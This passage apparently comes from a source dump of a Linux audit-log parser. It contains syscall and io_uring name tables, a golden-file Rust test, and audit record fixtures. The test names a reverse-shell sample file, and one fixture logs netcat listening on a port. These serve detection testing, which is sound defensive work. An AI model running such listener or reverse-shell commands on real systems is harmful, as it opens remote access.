"setxattr") 29 | _S(6, "lsetxattr") 30 | _S(7, "fsetxattr") 31 | _S(8, "getxattr") 32 | _S(9, "lgetxattr") 33 | _S(10, "fgetxattr") 34 | _S(11, "listxattr") 35 | _S(12, "llistxattr") 36 | _S(13, "flistxattr") 37 | _S(14, "removexattr") 38 | _S(15, "lremovexattr") 39 | _S(16, "fremovexattr") 40 | _S(17, "getcwd") 41 | _S(18, "lookup_dcookie") 42 | _S(19, "eventfd2") 43 | _S(20, "epoll_create1") 44 | _S(21, "epoll_ctl") 45 | _S(22, "epoll_pwait") 46 | _S(23, "dup") 47 | _S(24, "dup3") 48 | _S(25, "fcntl") 49 | _S(26, "inotify_init1") 50 | _S(27, "inotify_add_watch") 51 | _S(28, "inotify_rm_watch") 52 | _S(29, "ioctl") 53 | _S(30, "ioprio_set") 54 | _S(31, "ioprio_get") 55 | _S(32, "flock") 56 | _S(33, "mknodat") 57 | _S(34, "mkdirat") 58 | _S(35, "unlinkat") 59 | _S(36, "symlinkat") 60 | _S(37, "linkat") 61 | _S(39, "umount2") 62 | _S(40, "mount") 63 | _S(41, "pivot_root") 64 | _S(42, "nfsservctl") 65 | _S(43, "statfs") 66 | _S(44, "fstatfs") 67 | _S(45, "truncate") 68 | _S(46, "ftruncate") 69 | _S(47, "fallocate") 70 | _S(48, "faccessat") 71 | _S(49, "chdir") 72 | _S(50, "fchdir") 73 | _S(51, "chroot") 74 | _S(52, "fchmod") 75 | _S(53, "fchmodat") 76 | _S(54, "fchownat") 77 | _S(55, "fchown") 78 | _S(56, "openat") 79 | _S(57, "close") 80 | _S(58, "vhangup") 81 | _S(59, "pipe2") 82 | _S(60, "quotactl") 83 | _S(61, "getdents64") 84 | _S(62, "lseek") 85 | _S(63, "read") 86 | _S(64, "write") 87 | _S(65, "readv") 88 | _S(66, "writev") 89 | _S(67, "pread64") 90 | _S(68, "pwrite64") 91 | _S(69, "preadv") 92 | _S(70, "pwritev") 93 | _S(71, "sendfile") 94 | _S(72, "pselect6") 95 | _S(73, "ppoll") 96 | _S(74, "signalfd4") 97 | _S(75, "vmsplice") 98 | _S(76, "splice") 99 | _S(77, "tee") 100 | _S(78, "readlinkat") 101 | _S(79, "newfstatat") 102 | _S(80, "fstat") 103 | _S(81, "sync") 104 | _S(82, "fsync") 105 | _S(83, "fdatasync") 106 | _S(84, "sync_file_range") 107 | _S(85, "timerfd_create") 108 | _S(86, "timerfd_settime") 109 | _S(87, "timerfd_gettime") 110 | _S(88, "utimensat") 111 | _S(89, "acct") 112 | _S(90, "capget") 113 | _S(91, "capset") 114 | _S(92, "personality") 115 | _S(93, "exit") 116 | _S(94, "exit_group") 117 | _S(95, "waitid") 118 | _S(96, "set_tid_address") 119 | _S(97, "unshare") 120 | _S(98, "futex") 121 | _S(99, "set_robust_list") 122 | _S(100, "get_robust_list") 123 | _S(101, "nanosleep") 124 | _S(102, "getitimer") 125 | _S(103, "setitimer") 126 | _S(104, "kexec_load") 127 | _S(105, "init_module") 128 | _S(106, "delete_module") 129 | _S(107, "timer_create") 130 | _S(108, "timer_gettime") 131 | _S(109, "timer_getoverrun") 132 | _S(110, "timer_settime") 133 | _S(111, "timer_delete") 134 | _S(112, "clock_settime") 135 | _S(113, "clock_gettime") 136 | _S(114, "clock_getres") 137 | _S(115, "clock_nanosleep") 138 | _S(116, "syslog") 139 | _S(117, "ptrace") 140 | _S(118, "sched_setparam") 141 | _S(119, "sched_setscheduler") 142 | _S(120, "sched_getscheduler") 143 | _S(121, "sched_getparam") 144 | _S(122, "sched_setaffinity") 145 | _S(123, "sched_getaffinity") 146 | _S(124, "sched_yield") 147 | _S(125, "sched_get_priority_max") 148 | _S(126, "sched_get_priority_min") 149 | _S(127, "sched_rr_get_interval") 150 | _S(128, "restart_syscall") 151 | _S(129, "kill") 152 | _S(130, "tkill") 153 | _S(131, "tgkill") 154 | _S(132, "sigaltstack") 155 | _S(133, "rt_sigsuspend") 156 | _S(134, "rt_sigaction") 157 | _S(135, "rt_sigprocmask") 158 | _S(136, "rt_sigpending") 159 | _S(137, "rt_sigtimedwait") 160 | _S(138, "rt_sigqueueinfo") 161 | _S(139, "rt_sigreturn") 162 | _S(140, "setpriority") 163 | _S(141, "getpriority") 164 | _S(142, "reboot") 165 | _S(143, "setregid") 166 | _S(144, "setgid") 167 | _S(145, "setreuid") 168 | _S(146, "setuid") 169 | _S(147, "setresuid") 170 | _S(148, "getresuid") 171 | _S(149, "setresgid") 172 | _S(150, "getresgid") 173 | _S(151, "setfsuid") 174 | _S(152, "setfsgid") 175 | _S(153, "times") 176 | _S(154, "setpgid") 177 | _S(155, "getpgid") 178 | _S(156, "getsid") 179 | _S(157, "setsid") 180 | _S(158, "getgroups") 181 | _S(159, "setgroups") 182 | _S(160, "uname") 183 | _S(161, "sethostname") 184 | _S(162, "setdomainname") 185 | _S(163, "getrlimit") 186 | _S(164, "setrlimit") 187 | _S(165, "getrusage") 188 | _S(166, "umask") 189 | _S(167, "prctl") 190 | _S(168, "getcpu") 191 | _S(169, "gettimeofday") 192 | _S(170, "settimeofday") 193 | _S(171, "adjtimex") 194 | _S(172, "getpid") 195 | _S(173, "getppid") 196 | _S(174, "getuid") 197 | _S(175, "geteuid") 198 | _S(176, "getgid") 199 | _S(177, "getegid") 200 | _S(178, "gettid") 201 | _S(179, "sysinfo") 202 | _S(180, "mq_open") 203 | _S(181, "mq_unlink") 204 | _S(182, "mq_timedsend") 205 | _S(183, "mq_timedreceive") 206 | _S(184, "mq_notify") 207 | _S(185, "mq_getsetattr") 208 | _S(186, "msgget") 209 | _S(187, "msgctl") 210 | _S(188, "msgrcv") 211 | _S(189, "msgsnd") 212 | _S(190, "semget") 213 | _S(191, "semctl") 214 | _S(192, "semtimedop") 215 | _S(193, "semop") 216 | _S(194, "shmget") 217 | _S(195, "shmctl") 218 | _S(196, "shmat") 219 | _S(197, "shmdt") 220 | _S(198, "socket") 221 | _S(199, "socketpair") 222 | _S(200, "bind") 223 | _S(201, "listen") 224 | _S(202, "accept") 225 | _S(203, "connect") 226 | _S(204, "getsockname") 227 | _S(205, "getpeername") 228 | _S(206, "sendto") 229 | _S(207, "recvfrom") 230 | _S(208, "setsockopt") 231 | _S(209, "getsockopt") 232 | _S(210, "shutdown") 233 | _S(211, "sendmsg") 234 | _S(212, "recvmsg") 235 | _S(213, "readahead") 236 | _S(214, "brk") 237 | _S(215, "munmap") 238 | _S(216, "mremap") 239 | _S(217, "add_key") 240 | _S(218, "request_key") 241 | _S(219, "keyctl") 242 | _S(220, "clone") 243 | _S(221, "execve") 244 | _S(222, "mmap") 245 | _S(223, "fadvise64") 246 | _S(224, "swapon") 247 | _S(225, "swapoff") 248 | _S(226, "mprotect") 249 | _S(227, "msync") 250 | _S(228, "mlock") 251 | _S(229, "munlock") 252 | _S(230, "mlockall") 253 | _S(231, "munlockall") 254 | _S(232, "mincore") 255 | _S(233, "madvise") 256 | _S(234, "remap_file_pages") 257 | _S(235, "mbind") 258 | _S(236, "get_mempolicy") 259 | _S(237, "set_mempolicy") 260 | _S(238, "migrate_pages") 261 | _S(239, "move_pages") 262 | _S(240, "rt_tgsigqueueinfo") 263 | _S(241, "perf_event_open") 264 | _S(242, "accept4") 265 | _S(243, "recvmmsg") 266 | _S(258, "riscv_hwprobe") 267 | _S(259, "riscv_flush_icache") 268 | _S(260, "wait4") 269 | _S(261, "prlimit64") 270 | _S(262, "fanotify_init") 271 | _S(263, "fanotify_mark") 272 | _S(264, "name_to_handle_at") 273 | _S(265, "open_by_handle_at") 274 | _S(266, "clock_adjtime") 275 | _S(267, "syncfs") 276 | _S(268, "setns") 277 | _S(269, "sendmmsg") 278 | _S(270, "process_vm_readv") 279 | _S(271, "process_vm_writev") 280 | _S(272, "kcmp") 281 | _S(273, "finit_module") 282 | _S(274, "sched_setattr") 283 | _S(275, "sched_getattr") 284 | _S(276, "renameat2") 285 | _S(277, "seccomp") 286 | _S(278, "getrandom") 287 | _S(279, "memfd_create") 288 | _S(280, "bpf") 289 | _S(281, "execveat") 290 | _S(282, "userfaultfd") 291 | _S(283, "membarrier") 292 | _S(284, "mlock2") 293 | _S(285, "copy_file_range") 294 | _S(286, "preadv2") 295 | _S(287, "pwritev2") 296 | _S(288, "pkey_mprotect") 297 | _S(289, "pkey_alloc") 298 | _S(290, "pkey_free") 299 | _S(291, "statx") 300 | _S(292, "io_pgetevents") 301 | _S(293, "rseq") 302 | _S(294, "kexec_file_load") 303 | _S(424, "pidfd_send_signal") 304 | _S(425, "io_uring_setup") 305 | _S(426, "io_uring_enter") 306 | _S(427, "io_uring_register") 307 | _S(428, "open_tree") 308 | _S(429, "move_mount") 309 | _S(430, "fsopen") 310 | _S(431, "fsconfig") 311 | _S(432, "fsmount") 312 | _S(433, "fspick") 313 | _S(434, "pidfd_open") 314 | _S(435, "clone3") 315 | _S(436, "close_range") 316 | _S(437, "openat2") 317 | _S(438, "pidfd_getfd") 318 | _S(439, "faccessat2") 319 | _S(440, "process_madvise") 320 | _S(441, "epoll_pwait2") 321 | _S(442, "mount_setattr") 322 | _S(443, "quotactl_fd") 323 | _S(444, "landlock_create_ruleset") 324 | _S(445, "landlock_add_rule") 325 | _S(446, "landlock_restrict_self") 326 | _S(447, "memfd_secret") 327 | _S(448, "process_mrelease") 328 | _S(449, "futex_waitv") 329 | _S(450, "set_mempolicy_home_node") 330 | _S(451, "cachestat") 331 | _S(452, "fchmodat2") 332 | _S(453, "map_shadow_stack") 333 | _S(454, "futex_wake") 334 | _S(455, "futex_wait") 335 | _S(456, "futex_requeue") 336 | _S(457, "statmount") 337 | _S(458, "listmount") 338 | _S(459, "lsm_get_self_attr") 339 | _S(460, "lsm_set_self_attr") 340 | _S(461, "lsm_list_modules") 341 | _S(462, "mseal") 342 | _S(463, "setxattrat") 343 | _S(464, "getxattrat") 344 | _S(465, "listxattrat") 345 | _S(466, "removexattrat") 346 | _S(467, "open_tree_attr") 347 | -------------------------------------------------------------------------------- /src/tbl/uringop_table.h: -------------------------------------------------------------------------------- 1 | /* uringop_table.h -- 2 | * Copyright 2005-24 Red Hat Inc. 3 | * All Rights Reserved. 4 | * 5 | * This library is free software; you can redistribute it and/or 6 | * modify it under the terms of the GNU Lesser General Public 7 | * License as published by the Free Software Foundation; either 8 | * version 2.1 of the License, or (at your option) any later version. 9 | * 10 | * This library is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | * Lesser General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU Lesser General Public 16 | * License along with this library; if not, write to the Free Software 17 | * Foundation Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335, USA 18 | * 19 | * Authors: 20 | * Richard Guy Briggs 21 | */ 22 | 23 | /* 24 | * Enums defined in include/uapi/linux/io_uring.h 25 | * Operations defined here: io_uring/opdef.c 26 | * 27 | * Note: not all ops are auditable for performance reasons. This was 28 | * discussed on the linux-audit mail list: 29 | * https://listman.redhat.com/archives/linux-audit/2021-June/018042.html 30 | * 31 | * Operations in opdef.c will have a field, audit_skip, if they are not 32 | * auditable. Any operation missing this is auditable and needs to be added. 33 | */ 34 | 35 | _S(9, "sendmsg") 36 | _S(10, "recvmsg") 37 | _S(13, "accept") 38 | _S(16, "connect") 39 | _S(17, "fallocate") 40 | _S(18, "openat") 41 | _S(19, "close") 42 | _S(28, "openat2") 43 | _S(34, "shutdown") 44 | _S(35, "renameat") 45 | _S(36, "unlinkat") 46 | _S(37, "mkdirat") 47 | _S(38, "symlinkat") 48 | _S(39, "linkat") 49 | _S(40, "msg_ring") 50 | _S(41, "fsetxattr") 51 | _S(42, "setxattr") 52 | _S(43, "fgetxattr") 53 | _S(44, "getxattr") 54 | _S(46, "uring_cmd") 55 | _S(48, "sendmsg_zc") 56 | _S(50, "waitid") 57 | _S(51, "futex_wait") 58 | _S(52, "futex_wake") 59 | _S(53, "futex_waitv") 60 | _S(54, "fixed_fd_install") 61 | _S(55, "ftruncate") 62 | _S(56, "bind") 63 | _S(57, "listen") 64 | -------------------------------------------------------------------------------- /src/test.rs: -------------------------------------------------------------------------------- 1 | use std::cell::RefCell; 2 | use std::error::Error; 3 | use std::io::{BufRead, BufReader}; 4 | use std::path::PathBuf; 5 | use std::rc::Rc; 6 | 7 | use crate::coalesce::Coalesce; 8 | use crate::types::Event; 9 | 10 | fn process_record(c: &mut Coalesce, text: T) -> Result<(), Box> 11 | where 12 | T: AsRef<[u8]>, 13 | { 14 | for line in BufReader::new(text.as_ref()) 15 | .lines() 16 | .filter(|line| match line { 17 | Ok(l) if l.is_empty() => false, 18 | Ok(l) if l.starts_with("#") => false, 19 | _ => true, 20 | }) 21 | { 22 | let mut line = line.unwrap().clone(); 23 | line.push('\n'); 24 | c.process_line(line.as_bytes())?; 25 | } 26 | Ok(()) 27 | } 28 | 29 | #[test] 30 | fn golden() -> Result<(), Box> { 31 | let prefix: PathBuf = "src/testdata".parse()?; 32 | 33 | let mut do_write = false; 34 | for (k, _v) in std::env::vars() { 35 | if k == "WRITE_GOLDEN" { 36 | do_write = true; 37 | } 38 | } 39 | 40 | for file in &[ 41 | "record-adjntpval.txt", 42 | "record-anom-promiscuous.txt", 43 | "record-avc-apparmor.txt", 44 | "record-bind-ipv4-bigendian.txt", 45 | "record-execve-long.txt", 46 | "record-execve.txt", 47 | "record-login.txt", 48 | "record-nscd.txt", 49 | "record-perl-reverse-shell.txt", 50 | "record-ptrace.txt", 51 | "record-syscall-key.txt", 52 | "record-syscall-nullkey.txt", 53 | "record-weblogic.txt", 54 | ] { 55 | let buf: Rc>> = Rc::new(RefCell::new(Vec::new())); 56 | let emit_fn = |e: &Event| { 57 | use std::ops::DerefMut; 58 | let mut b = buf.borrow_mut(); 59 | crate::json::to_writer(b.deref_mut(), e).unwrap(); 60 | b.deref_mut().push(b'\n'); 61 | }; 62 | 63 | let mut c = Coalesce::new(emit_fn); 64 | c.settings.enrich_uid_groups = false; 65 | c.settings.enrich_pid = false; 66 | c.settings.enrich_script = false; 67 | 68 | let txtfile = prefix.join(file); 69 | println!("processing {}", txtfile.to_string_lossy()); 70 | process_record(&mut c, std::fs::read(&txtfile)?)?; 71 | 72 | let mut jsonfile = txtfile.clone(); 73 | jsonfile.set_extension("json"); 74 | 75 | if do_write { 76 | println!("writing {}", jsonfile.to_string_lossy()); 77 | std::fs::write(jsonfile, buf.borrow().as_slice())?; 78 | } else { 79 | println!("comparing against {}", jsonfile.to_string_lossy()); 80 | let got = buf.borrow(); 81 | let expected = std::fs::read(jsonfile)?; 82 | print!(" got = {}", String::from_utf8_lossy(&got)); 83 | print!("expected = {}", String::from_utf8_lossy(&expected)); 84 | assert!(*got == expected); 85 | } 86 | } 87 | 88 | Ok(()) 89 | } 90 | -------------------------------------------------------------------------------- /src/testdata/line-user-acct.txt: -------------------------------------------------------------------------------- 1 | type=USER_ACCT msg=audit(1615113648.981:15220): pid=9460 uid=1000 auid=1000 ses=1 msg='op=PAM:accounting grantors=pam_permit acct="user" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/1 res=success'UID="user" AUID="user" 2 | -------------------------------------------------------------------------------- /src/testdata/record-adjntpval.json: -------------------------------------------------------------------------------- 1 | {"ID":"1640024915.264:4237","TIME_ADJNTPVAL":[{"op":"freq","old":"-37201248256000","new":"-37237817344000"}],"SYSCALL":{"arch":"0xc000003e","syscall":159,"success":"yes","exit":0,"items":0,"ppid":1,"pid":820,"auid":4294967295,"uid":995,"gid":991,"euid":995,"suid":995,"fsuid":995,"egid":991,"sgid":991,"fsgid":991,"tty":"(none)","ses":4294967295,"comm":"chronyd","exe":"/usr/sbin/chronyd","subj":"system_u:system_r:chronyd_t:s0","key":null,"ARCH":"x86_64","SYSCALL":"adjtimex","AUID":"unset","UID":"chrony","GID":"chrony","EUID":"chrony","SUID":"chrony","FSUID":"chrony","EGID":"chrony","SGID":"chrony","FSGID":"chrony","ARGV":["0x7ffeaf991370","0x0","0x2710","0x0"]}} 2 | -------------------------------------------------------------------------------- /src/testdata/record-adjntpval.txt: -------------------------------------------------------------------------------- 1 | type=TIME_ADJNTPVAL msg=audit(1640024915.264:4237): op=freq old=-37201248256000 new=-37237817344000 2 | type=SYSCALL msg=audit(1640024915.264:4237): arch=c000003e syscall=159 success=yes exit=0 a0=7ffeaf991370 a1=0 a2=2710 a3=0 items=0 ppid=1 pid=820 auid=4294967295 uid=995 gid=991 euid=995 suid=995 fsuid=995 egid=991 sgid=991 fsgid=991 tty=(none) ses=4294967295 comm="chronyd" exe="/usr/sbin/chronyd" subj=system_u:system_r:chronyd_t:s0 key=(null)ARCH=x86_64 SYSCALL=adjtimex AUID="unset" UID="chrony" GID="chrony" EUID="chrony" SUID="chrony" FSUID="chrony" EGID="chrony" SGID="chrony" FSGID="chrony" 3 | type=EOE msg=audit(1640024915.264:4237): 4 | -------------------------------------------------------------------------------- /src/testdata/record-anom-promiscuous.json: -------------------------------------------------------------------------------- 1 | {"ID":"1708689989.768:339749193","ANOM_PROMISCUOUS":[{"dev":"veth5f40f62","prom":256,"old_prom":0,"auid":4294967295,"uid":0,"gid":0,"ses":4294967295,"AUID":"unset","UID":"root","GID":"root"}],"SYSCALL":{"arch":"0xc000003e","syscall":44,"success":"yes","exit":40,"items":0,"ppid":1,"pid":13877,"auid":4294967295,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":4294967295,"comm":"dockerd","exe":"/usr/bin/dockerd","key":null,"ARCH":"x86_64","SYSCALL":"sendto","AUID":"unset","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0xe","0xc002e50000","0x28","0x0"]},"SOCKADDR":[{"saddr":"%10%00%00%00%00%00%00%00%00%00%00%00","SADDR":"{fam=netlink nlnk-fam=16 nlnk-pid=0}"}]} 2 | -------------------------------------------------------------------------------- /src/testdata/record-anom-promiscuous.txt: -------------------------------------------------------------------------------- 1 | type=ANOM_PROMISCUOUS msg=audit(1708689989.768:339749193): dev=veth5f40f62 prom=256 old_prom=0 auid=4294967295 uid=0 gid=0 ses=4294967295AUID="unset" UID="root" GID="root" 2 | type=SYSCALL msg=audit(1708689989.768:339749193): arch=c000003e syscall=44 success=yes exit=40 a0=e a1=c002e50000 a2=28 a3=0 items=0 ppid=1 pid=13877 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="dockerd" exe="/usr/bin/dockerd" key=(null)ARCH=x86_64 SYSCALL=sendto AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 3 | type=SOCKADDR msg=audit(1708689989.768:339749193): saddr=100000000000000000000000SADDR={ fam=netlink nlnk-fam=16 nlnk-pid=0 } 4 | type=EOE msg=audit(1708689989.768:339749193): 5 | -------------------------------------------------------------------------------- /src/testdata/record-avc-apparmor.json: -------------------------------------------------------------------------------- 1 | {"ID":"1634728455.294:53732","SYSCALL":{"arch":"0xc000003e","syscall":1,"success":"yes","exit":19577,"items":0,"ppid":3981294,"pid":3981295,"auid":4294967295,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":4294967295,"comm":"apparmor_parser","exe":"/usr/sbin/apparmor_parser","subj":"unconfined","key":null,"ARCH":"x86_64","SYSCALL":"write","AUID":"unset","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x7","0x560174cd7790","0x4c79","0x0"]},"AVC":[{"apparmor":"STATUS","operation":"profile_replace","info":"same as current profile, skipping","profile":"unconfined","name":"snap-update-ns.amazon-ssm-agent","pid":3981295,"comm":"apparmor_parser"}]} 2 | -------------------------------------------------------------------------------- /src/testdata/record-avc-apparmor.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1634728455.294:53732): arch=c000003e syscall=1 success=yes exit=19577 a0=7 a1=560174cd7790 a2=4c79 a3=0 items=0 ppid=3981294 pid=3981295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="apparmor_parser" exe="/usr/sbin/apparmor_parser" subj=unconfined key=(null)ARCH=x86_64 SYSCALL=write AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=AVC msg=audit(1634728455.294:53732): apparmor="STATUS" operation="profile_replace" info="same as current profile, skipping" profile="unconfined" name="snap-update-ns.amazon-ssm-agent" pid=3981295 comm="apparmor_parser" 3 | type=EOE msg=audit(1634728455.294:53732): 4 | -------------------------------------------------------------------------------- /src/testdata/record-bind-ipv4-bigendian.json: -------------------------------------------------------------------------------- 1 | {"ID":"1708028025.033:10","SYSCALL":{"arch":"0x80000015","syscall":327,"success":"yes","exit":0,"items":0,"ppid":2649,"pid":2650,"auid":0,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts1","ses":1,"comm":"nc","exe":"/usr/bin/nc.openbsd","key":null,"ARGV":["0x3","0x33ee202d0","0x10","0x7fffe9628078"]},"SOCKADDR":[{"saddr":"%00%02%d9%03%00%00%00%00%00%00%00%00%00%00%00%00"}],"PROCTITLE":{"ARGV":["nc","-l","-p","55555"]}} 2 | -------------------------------------------------------------------------------- /src/testdata/record-bind-ipv4-bigendian.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1708028025.033:10): arch=80000015 syscall=327 success=yes exit=0 a0=3 a1=33ee202d0 a2=10 a3=7fffe9628078 items=0 ppid=2649 pid=2650 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=1 comm="nc" exe="/usr/bin/nc.openbsd" key=(null) 2 | type=SOCKADDR msg=audit(1708028025.033:10): saddr=0002D903000000000000000000000000 3 | type=PROCTITLE msg=audit(1708028025.033:10): proctitle=6E63002D6C002D70003535353535 4 | type=EOE msg=audit(1708028025.033:10): 5 | -------------------------------------------------------------------------------- /src/testdata/record-connect.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1723819442.459:2482681): arch=c000003e syscall=42 success=yes exit=0 a0=8 a1=5556eca10aa0 a2=10 a3=4 items=0 ppid=1074250 pid=1074252 auid=4294967295 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=4294967295 comm="php" exe="/usr/bin/php" key=(null) 2 | type=SOCKADDR msg=audit(1723819442.459:2482681): saddr=02002BCB7F0000010000000000000000 3 | type=EOE msg=audit(1723819442.459:2482681): 4 | type=SYSCALL msg=audit(1723819442.459:2482682): arch=c000003e syscall=42 success=no exit=-115 a0=8 a1=5556ec9f92f0 a2=1c a3=ffffffff items=0 ppid=1074250 pid=1074252 auid=4294967295 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=4294967295 comm="php" exe="/usr/bin/php" key=(null) 5 | type=SOCKADDR msg=audit(1723819442.459:2482682): saddr=0A002BCB000000000000000000000000000000000000000100000000 6 | type=EOE msg=audit(1723819442.459:2482682): 7 | -------------------------------------------------------------------------------- /src/testdata/record-execve-long.json: -------------------------------------------------------------------------------- 1 | {"ID":"1615150974.493:21028","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":10881,"pid":8832,"auid":1000,"uid":1000,"gid":1000,"euid":1000,"suid":1000,"fsuid":1000,"egid":1000,"sgid":1000,"fsgid":1000,"tty":"pts1","ses":1,"comm":"echo","exe":"/usr/bin/echo","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"user","GID":"user","EUID":"user","SUID":"user","FSUID":"user","EGID":"user","SGID":"user","FSGID":"user","ARGV":["0x593d4c9f5f50","0x593d4c9adc80","0x593d4c9c38a0","0xfffffffffffff878"]},"EXECVE":{"argc":2,"ARGV":["/bin/echo","baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa